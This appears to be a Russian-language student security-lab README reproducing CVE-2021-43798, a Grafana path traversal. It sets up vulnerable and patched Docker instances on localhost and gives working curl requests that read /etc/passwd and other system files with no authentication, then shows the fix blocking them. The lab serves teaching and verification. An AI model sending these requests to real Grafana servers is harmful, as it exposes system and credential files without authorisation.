
CVE-2021-43798 Grafana Path Traversal без аутентификации — Security Lab | Shivam Gupta | 23104003
Только для образовательных целей. Запускайте эту лабораторию только на изолированной локальной машине. Никогда не выставляйте её в интернет.
| Поле | Детали |
|---|---|
| CVE ID | CVE-2021-43798 |
| Продукт | Grafana |
| Уязвимые версии | 8.0.0 – 8.3.0 |
| Исправленная версия | 8.3.1+ |
| Критичность | Высокая |
| Оценка CVSS v3.1 | 7.5 |
| CWE | CWE-22 — Обход пути |
| Требуется аутентификация | Нет |
| Вектор атаки | Сеть |
git clone https://github.com/YOUR_USERNAME/INE_Shivam_Gupta.git
cd INE_Shivam_Gupta
docker compose up -d
Проверка:
curl http://127.0.0.1:3000/api/health
# Ожидается: "version": "8.3.0"
Откройте http://127.0.0.1:3000 — логин: admin / admin
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/passwd"
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/lab_secret.txt"
Ожидается: содержимое файла возвращается с HTTP 200 — аутентификация не требуется.
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/hostname"
curl.exe http://127.0.0.1:3000/api/health
Если возвращается hostname → УЯЗВИМО. Версия 8.0.0–8.3.0 → УЯЗВИМО.
Запуск исправленного экземпляра (Grafana 8.3.1):
docker compose -f docker-compose.patched.yml up -d
Проверка, что эксплойт заблокирован:
curl.exe --path-as-is "http://127.0.0.1:3001/public/plugins/alertlist/../../../../../../../../../etc/passwd"
# Ожидается: {"message": "Plugin file not found"}
docker compose down
docker compose -f docker-compose.patched.yml down